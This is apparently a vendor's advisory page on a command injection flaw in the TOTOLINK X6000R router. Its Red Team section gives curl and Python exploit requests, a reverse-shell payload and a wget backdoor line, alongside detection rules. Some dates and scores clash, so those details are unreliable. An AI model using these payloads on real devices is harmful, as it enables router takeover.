☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Totolink logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-70328

CVE-2025-70328 OS Command Injection in Totolink
📅 PUBLISHED: 2026-02-23 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 3.15%
👁️
3.15% probability
78.7× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 9.4.0cu.1498_B20250826
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-70328 is a critical OS command injection vulnerability discovered in the TOTOLINK X6000R router, specifically in firmware version 9.4.0cu.1498_B20250826. The flaw resides in the NTPSyncWithHost handler of the /usr/sbin/shttpd binary. The host_time parameter, retrieved via sub_40C404, is passed unsafely to a date -s shell command through CsteSystem. While the first two tokens of the input are validated, the remainder of the string is not sanitized, allowing authenticated attackers to inject arbitrary shell commands using shell metacharacters. This vulnerability can lead to full device compromise, including data exfiltration, lateral movement within the network, and persistent backdoor installation. No patch is currently available from the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (TOTOLINK X6000R router). The supply chain risk is limited to the device's firmware distribution and the vendor's lack of a security update.

CVSS Breakdown & Threat Level

CVSS Score: 9.9 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required; the attack is straightforward.
  • Privileges Required (PR): Low (L) – An attacker needs only low-privileged authentication (e.g., a standard user account on the router).
  • User Interaction (UI): None (N) – No user action is required beyond the attacker's own actions.
  • Scope (S): Unchanged (U) – The exploited component and the affected component are the same.
  • Confidentiality (C): High (H) – Full read access to all device data and network traffic.
  • Integrity (I): High (H) – Full write access, allowing modification of system files and configuration.
  • Availability (A): High (H) – Full control over device operations, including denial of service.

Threat Level: Critical. The vulnerability is remotely exploitable with low privileges, and no user interaction is required. Given the lack of a patch, all TOTOLINK X6000R devices running the vulnerable firmware are at immediate risk.

Deep Dive & Mechanics

The vulnerability is an OS command injection in the NTPSyncWithHost handler of the /usr/sbin/shttpd binary. The handler is responsible for synchronizing the device's time with an NTP server. The host_time parameter is extracted from the HTTP request via the sub_40C404 function. This parameter is then passed to a date -s command executed via CsteSystem, which is a wrapper for system().

The critical flaw is in the input validation: the code checks that the first two tokens (likely the time and date) are present, but it does not sanitize the remainder of the string. This allows an attacker to append shell metacharacters (e.g., ;, |, &, $(), `) to execute arbitrary commands.

Example Attack Vector: An authenticated attacker sends a POST request to the /cgi-bin/NTPSyncWithHost endpoint with a crafted host_time parameter:

host_time=2025-01-01 12:00:00;reboot

The resulting shell command becomes:

date -s "2025-01-01 12:00:00;reboot"

The shell interprets the semicolon as a command separator, executing reboot after the date command.

Impact:

  • Full remote code execution as root (since shttpd runs with elevated privileges).
  • Ability to install persistent backdoors, exfiltrate data, pivot to internal networks, and launch further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (pseudocode):

void NTPSyncWithHost_handler() {
    char host_time[256];
    char cmd[512];
    
    sub_40C404(host_time, sizeof(host_time)); // Get host_time parameter
    
    // Only validates first two tokens
    if (validate_first_two_tokens(host_time) == 0) {
        snprintf(cmd, sizeof(cmd), "date -s \"%s\"", host_time);
        CsteSystem(cmd); // Executes the command
    }
}

Patched Code (hypothetical):

void NTPSyncWithHost_handler() {
    char host_time[256];
    char sanitized_time[256];
    char cmd[512];
    
    sub_40C404(host_time, sizeof(host_time));
    
    // Sanitize input: remove all shell metacharacters
    sanitize_input(host_time, sanitized_time, sizeof(sanitized_time));
    
    if (validate_first_two_tokens(sanitized_time) == 0) {
        snprintf(cmd, sizeof(cmd), "date -s \"%s\"", sanitized_time);
        CsteSystem(cmd);
    }
}

The patched version would need to either:

  1. Use a whitelist of allowed characters (e.g., digits, hyphens, colons, spaces).
  2. Escape or remove all shell metacharacters (;, |, &, $, `, (, ), &#123;, &#125;, &lt;, >, !, #, ~, *, ?, [, ], ', ", \).
  3. Avoid using system() altogether and use a safer function like execve() with a fixed argument list.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a TOTOLINK X6000R router with firmware version 9.4.0cu.1498_B20250826.
  • Valid credentials for the router's web interface (e.g., admin/admin).

Exploitation Steps:

  1. Identify the target: Use Shodan or a network scan to find TOTOLINK X6000R devices.
  2. Authenticate: Log in to the router's web interface.
  3. Craft the exploit: Send a POST request to /cgi-bin/NTPSyncWithHost with a malicious host_time parameter.

Example using curl:

curl -X POST http://<router-ip>/cgi-bin/NTPSyncWithHost \
  -d "host_time=2025-01-01 12:00:00;id" \
  -b "SESSIONID=<valid_session_cookie>"

Example using Python:

import requests

url = "http://<router-ip>/cgi-bin/NTPSyncWithHost"
cookies = {"SESSIONID": "<valid_session_cookie>"}
payload = "host_time=2025-01-01 12:00:00;id"
response = requests.post(url, data=payload, cookies=cookies)
print(response.text)

Expected Output: The id command output will be visible in the response or in the router's logs, confirming code execution.

Advanced Payloads:

  • Reverse shell: host_time=2025-01-01 12:00:00;bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
  • Backdoor installation: host_time=2025-01-01 12:00:00;wget http://<attacker-ip>/backdoor -O /tmp/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor

Blue Team

Detection:

  • Monitor HTTP POST requests to /cgi-bin/NTPSyncWithHost for unusual host_time parameters containing shell metacharacters.
  • Analyze router logs for unexpected command execution or outbound connections.

Honeypot Setup:

  • Deploy a TOTOLINK X6000R honeypot to capture exploitation attempts.
  • Log all host_time parameter values for analysis.

Mitigation:

  • If possible, block access to the /cgi-bin/NTPSyncWithHost endpoint via firewall rules.
  • Implement a WAF rule to filter malicious host_time parameters.
  • Monitor for unauthorized administrative access.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /cgi-bin/NTPSyncWithHost with host_time containing shell metacharacters (;, |, &, $, `).
  • Outbound connections from the router to unknown IP addresses on unusual ports (e.g., 4444 for reverse shells).
  • DNS queries to suspicious domains (e.g., for C2 communication).

File System IOCs:

  • Unexpected files in /tmp/ (e.g., backdoor, exploit.sh).
  • Modified system binaries (e.g., /usr/sbin/shttpd).
  • New cron jobs or startup scripts.

Process IOCs:

  • Unusual processes running as root (e.g., bash, nc, python).
  • Processes with network connections to external IPs.

Log IOCs:

  • Router logs showing date -s commands with unexpected arguments.
  • Authentication logs showing repeated login attempts from the same IP.

Detection Engineering

YARA Rule

rule CVE_2025_70328_TOTOLINK_X6000R_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-70328 in TOTOLINK X6000R"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-70328"
        severity = "critical"
    strings:
        $s1 = "NTPSyncWithHost" ascii wide nocase
        $s2 = "host_time" ascii wide nocase
        $s3 = /host_time=[^&]*[;&|`$(){}<>!~*?\[\]'"\\]/
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2025-70328 - TOTOLINK X6000R OS Command Injection
id: 8a4b6c2d-1e3f-4a5b-6c7d-8e9f0a1b2c3d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/NTPSyncWithHost with malicious host_time parameter
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-70328
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/NTPSyncWithHost'
        cs-uri-query|contains: 'host_time='
    filter:
        cs-uri-query|re: 'host_time=[^&]*[;&|`$(){}<>!~*?\[\]'"\\]'
    condition: selection and filter
falsepositives:
    - Legitimate NTP sync requests with special characters (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-70328 - TOTOLINK X6000R OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/NTPSyncWithHost";
    http_uri;
    content:"host_time=";
    http_client_body;
    pcre:"/host_time=[^&]*[;&|`$(){}<>!~*?\[\]'"\\]/Ri";
    sid:10000001;
    rev:1;
    reference:cve,2025-70328;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable remote management of the TOTOLINK X6000R if not required.
  2. Change default credentials to strong, unique passwords.
  3. Restrict access to the router's web interface to trusted IP addresses only.
  4. Monitor logs for exploitation attempts.

Long-term Actions:

  1. Contact TOTOLINK for a firmware patch. If unavailable, consider replacing the device.
  2. Implement network segmentation to isolate vulnerable devices.
  3. Deploy a WAF with rules to block command injection attempts.
  4. Conduct regular vulnerability scans of network devices.

Workaround:

  • If the NTP sync feature is not essential, block the /cgi-bin/NTPSyncWithHost endpoint using a firewall or reverse proxy.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"TOTOLINK X6000R"
http.html:"TOTOLINK X6000R"
product:"TOTOLINK X6000R"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-70328/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.